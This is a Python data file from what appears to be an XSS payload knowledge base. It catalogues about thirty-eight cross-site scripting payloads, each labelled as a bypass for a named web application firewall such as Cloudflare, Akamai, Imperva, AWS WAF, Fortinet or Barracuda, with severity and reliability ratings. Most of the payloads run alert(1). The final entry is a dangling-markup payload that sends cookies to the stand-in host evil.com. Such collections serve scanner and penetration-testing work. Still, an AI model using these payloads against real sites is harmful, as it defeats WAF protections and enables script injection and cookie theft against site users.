#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

WAF Bypass 2024 Payloads
"""

from ..models import PayloadEntry


WAF_BYPASS_2024_PAYLOADS = {
    # Cloudflare 2024
    "cf_unicode_norm": PayloadEntry(
        payload="<script>\\u0061\\u006c\\u0065\\u0072\\u0074(1)</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Cloudflare bypass via Unicode normalization",
        tags=["cloudflare", "waf-bypass", "unicode"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "cf_template_literal": PayloadEntry(
        payload="<script>[].constructor.constructor`alert\\`1\\```</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Cloudflare bypass via template literal",
        tags=["cloudflare", "waf-bypass", "template-literal"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "cf_math_element": PayloadEntry(
        payload="<math><mtext><table><mglyph><style><img src=x onerror=alert(1)>",
        contexts=["html_content", "mathml"],
        severity="critical",
        cvss_score=8.8,
        description="Cloudflare bypass via MathML element",
        tags=["cloudflare", "waf-bypass", "mathml"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "cf_svg_use": PayloadEntry(
        payload="<svg><use href=\"data:image/svg+xml,<svg id=x xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>#x\">",
        contexts=["html_content", "svg"],
        severity="critical",
        cvss_score=8.8,
        description="Cloudflare bypass via SVG use element",
        tags=["cloudflare", "waf-bypass", "svg"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "cf_namespace": PayloadEntry(
        payload='<svg><foreignObject><body xmlns="http://www.w3.org/1999/xhtml" onload=alert(1)>',
        contexts=["html_content", "svg"],
        severity="critical",
        cvss_score=8.8,
        description="Cloudflare bypass via namespace confusion",
        tags=["cloudflare", "waf-bypass", "namespace"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "cf_details": PayloadEntry(
        payload="<details/open/ontoggle=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Cloudflare bypass via details element",
        tags=["cloudflare", "waf-bypass", "html5"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "cf_base64": PayloadEntry(
        payload="<script>eval(atob`YWxlcnQoMSk`)</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Cloudflare bypass via base64 encoding",
        tags=["cloudflare", "waf-bypass", "base64"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "cf_string_concat": PayloadEntry(
        payload='<script>window["al"+"ert"](1)</script>',
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Cloudflare bypass via string concatenation",
        tags=["cloudflare", "waf-bypass", "obfuscation"],
        bypasses=["cloudflare"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Akamai 2024
    "akamai_unicode": PayloadEntry(
        payload="<script>\\u0061\\u006C\\u0065\\u0072\\u0074(1)</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Akamai bypass via Unicode escape",
        tags=["akamai", "waf-bypass", "unicode"],
        bypasses=["akamai"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "akamai_cdata": PayloadEntry(
        payload="<script>/*<![CDATA[*/alert(1)/*]]>*/</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Akamai bypass via CDATA comment",
        tags=["akamai", "waf-bypass", "cdata"],
        bypasses=["akamai"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "akamai_constructor": PayloadEntry(
        payload='<script>[]["filter"]["constructor"]("alert(1)")()</script>',
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Akamai bypass via constructor chain",
        tags=["akamai", "waf-bypass", "constructor"],
        bypasses=["akamai"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "akamai_prototype": PayloadEntry(
        payload='<script>[].__proto__.constructor.constructor("alert(1)")()</script>',
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Akamai bypass via prototype chain",
        tags=["akamai", "waf-bypass", "prototype"],
        bypasses=["akamai"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "akamai_arrow": PayloadEntry(
        payload="<script>[1].map(x=>alert(x))</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Akamai bypass via arrow function",
        tags=["akamai", "waf-bypass", "arrow-function"],
        bypasses=["akamai"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Imperva 2024
    "imperva_double_encode": PayloadEntry(
        payload="%253Cscript%253Ealert(1)%253C%252Fscript%253E",
        contexts=["url", "html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Imperva bypass via double URL encoding",
        tags=["imperva", "waf-bypass", "encoding"],
        bypasses=["imperva"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "imperva_null_byte": PayloadEntry(
        payload="<script\\x00>alert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Imperva bypass via null byte injection",
        tags=["imperva", "waf-bypass", "null-byte"],
        bypasses=["imperva"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "imperva_json": PayloadEntry(
        payload='{"x":"<script>alert(1)</script>"}',
        contexts=["json", "html_content"],
        severity="high",
        cvss_score=7.5,
        description="Imperva bypass via JSON injection",
        tags=["imperva", "waf-bypass", "json"],
        bypasses=["imperva"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "imperva_crlf": PayloadEntry(
        payload="%0d%0a<script>alert(1)</script>",
        contexts=["url", "html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Imperva bypass via CRLF injection",
        tags=["imperva", "waf-bypass", "crlf"],
        bypasses=["imperva"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "imperva_svg_namespace": PayloadEntry(
        payload='<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>',
        contexts=["html_content", "svg"],
        severity="critical",
        cvss_score=8.8,
        description="Imperva bypass via SVG namespace",
        tags=["imperva", "waf-bypass", "svg"],
        bypasses=["imperva"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # AWS WAF 2024
    "aws_encoding": PayloadEntry(
        payload="%3c%53%43%52%49%50%54%3e%61%6c%65%72%74%28%31%29%3c%2f%53%43%52%49%50%54%3e",
        contexts=["url", "html_content"],
        severity="critical",
        cvss_score=8.8,
        description="AWS WAF bypass via URL encoding",
        tags=["aws-waf", "waf-bypass", "encoding"],
        bypasses=["aws-waf"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "aws_script_src": PayloadEntry(
        payload="<script/src=data:text/javascript,alert(1)>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="AWS WAF bypass via script src",
        tags=["aws-waf", "waf-bypass", "data-url"],
        bypasses=["aws-waf"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "aws_body_events": PayloadEntry(
        payload="<body/onpageshow=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="AWS WAF bypass via body event",
        tags=["aws-waf", "waf-bypass", "event"],
        bypasses=["aws-waf"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "aws_meta_refresh": PayloadEntry(
        payload='<meta http-equiv="refresh" content="0;url=javascript:alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="AWS WAF bypass via meta refresh",
        tags=["aws-waf", "waf-bypass", "meta"],
        bypasses=["aws-waf"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "aws_object": PayloadEntry(
        payload='<object data="javascript:alert(1)">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="AWS WAF bypass via object element",
        tags=["aws-waf", "waf-bypass", "object"],
        bypasses=["aws-waf"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "aws_form_action": PayloadEntry(
        payload='<form action="javascript:alert(1)"><input type=submit>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="AWS WAF bypass via form action",
        tags=["aws-waf", "waf-bypass", "form"],
        bypasses=["aws-waf"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Fortinet 2024
    "fortinet_case": PayloadEntry(
        payload="<ScRiPt>alert(1)</ScRiPt>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Fortinet bypass via case variation",
        tags=["fortinet", "waf-bypass", "case"],
        bypasses=["fortinet"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "fortinet_whitespace": PayloadEntry(
        payload="<script\\t>alert(1)</script>",
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Fortinet bypass via whitespace",
        tags=["fortinet", "waf-bypass", "whitespace"],
        bypasses=["fortinet"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "fortinet_slash": PayloadEntry(
        payload="<img/src=x/onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Fortinet bypass via slash separator",
        tags=["fortinet", "waf-bypass", "separator"],
        bypasses=["fortinet"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "fortinet_protocol": PayloadEntry(
        payload='<a href="jav&#x09;ascript:alert(1)">',
        contexts=["html_content", "url"],
        severity="high",
        cvss_score=7.5,
        description="Fortinet bypass via protocol encoding",
        tags=["fortinet", "waf-bypass", "protocol"],
        bypasses=["fortinet"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "fortinet_comment": PayloadEntry(
        payload="<script>/**/alert(1)/**/</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Fortinet bypass via comment injection",
        tags=["fortinet", "waf-bypass", "comment"],
        bypasses=["fortinet"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Barracuda
    "barracuda_encoding": PayloadEntry(
        payload="<script>\\x61\\x6c\\x65\\x72\\x74(1)</script>",
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Barracuda bypass via hex encoding",
        tags=["barracuda", "waf-bypass", "encoding"],
        bypasses=["barracuda"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "barracuda_obfuscation": PayloadEntry(
        payload='<script>window["ale"+"rt"](1)</script>',
        contexts=["html_content", "javascript"],
        severity="critical",
        cvss_score=8.8,
        description="Barracuda bypass via obfuscation",
        tags=["barracuda", "waf-bypass", "obfuscation"],
        bypasses=["barracuda"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "barracuda_svg_animate": PayloadEntry(
        payload="<svg><animate onbegin=alert(1) attributeName=x>",
        contexts=["html_content", "svg"],
        severity="high",
        cvss_score=7.5,
        description="Barracuda bypass via SVG animate",
        tags=["barracuda", "waf-bypass", "svg"],
        bypasses=["barracuda"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    # Generic 2024 bypasses
    "generic_popover": PayloadEntry(
        payload="<button popovertarget=x>Click</button><div popover id=x onbeforetoggle=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic WAF bypass via Popover API",
        tags=["generic", "waf-bypass", "popover", "html5"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "generic_import_map": PayloadEntry(
        payload='<script type="importmap">{"imports":{"x":"data:text/javascript,alert(1)"}}</script><script type="module">import"x"</script>',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Generic WAF bypass via import maps",
        tags=["generic", "waf-bypass", "import-map", "module"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "edge"],
        reliability="high",
    ),
    "generic_dom_clobber": PayloadEntry(
        payload='<form id=x><input id=innerHTML value="<img src=x onerror=alert(1)>"></form>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Generic WAF bypass via DOM clobbering",
        tags=["generic", "waf-bypass", "dom-clobbering"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic_mxss": PayloadEntry(
        payload='<noscript><p title="</noscript><script>alert(1)</script>">',
        contexts=["html_content"],
        severity="critical",
        cvss_score=8.8,
        description="Generic WAF bypass via mutation XSS",
        tags=["generic", "waf-bypass", "mxss"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="high",
    ),
    "generic_dangling": PayloadEntry(
        payload='<img src="https://evil.com/collect?cookie=',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.1,
        description="Generic WAF bypass via dangling markup",
        tags=["generic", "waf-bypass", "dangling-markup"],
        waf_evasion=True,
        browser_support=["chrome", "firefox", "safari", "edge"],
        reliability="medium",
    ),
}
